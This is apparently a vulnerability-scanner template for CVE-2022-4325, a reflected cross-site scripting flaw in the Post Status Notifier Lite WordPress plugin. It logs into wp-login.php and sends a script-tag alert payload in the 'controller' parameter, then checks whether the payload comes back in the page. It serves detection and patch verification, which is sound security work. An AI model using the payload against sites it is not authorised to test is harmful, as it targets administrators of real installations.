id: CVE-2022-4325

info:
  name: Post Status Notifier Lite < 1.10.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Post Status Notifier Lite WordPress plugin before 1.10.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which can be used against high privilege users such as admin.
  remediation: Fixed in version 1.10.1
  reference:
    - https://wpscan.com/vulnerability/5b983c48-6b05-47cf-85cb-28bbeec17395
    - https://wordpress.org/plugins/post-status-notifier-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4325
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4325
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: wp,wordpress,wpscan,authenticated,cve,cve2022,xss,wp-plugin,post-status-notifier-lite

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(all_headers_2, "text/html")'
          - 'contains(body_2, "<script>alert(`document.domain`)</script>")'
          - 'contains(body_2, "Post Status Notifier Lite")'
        condition: and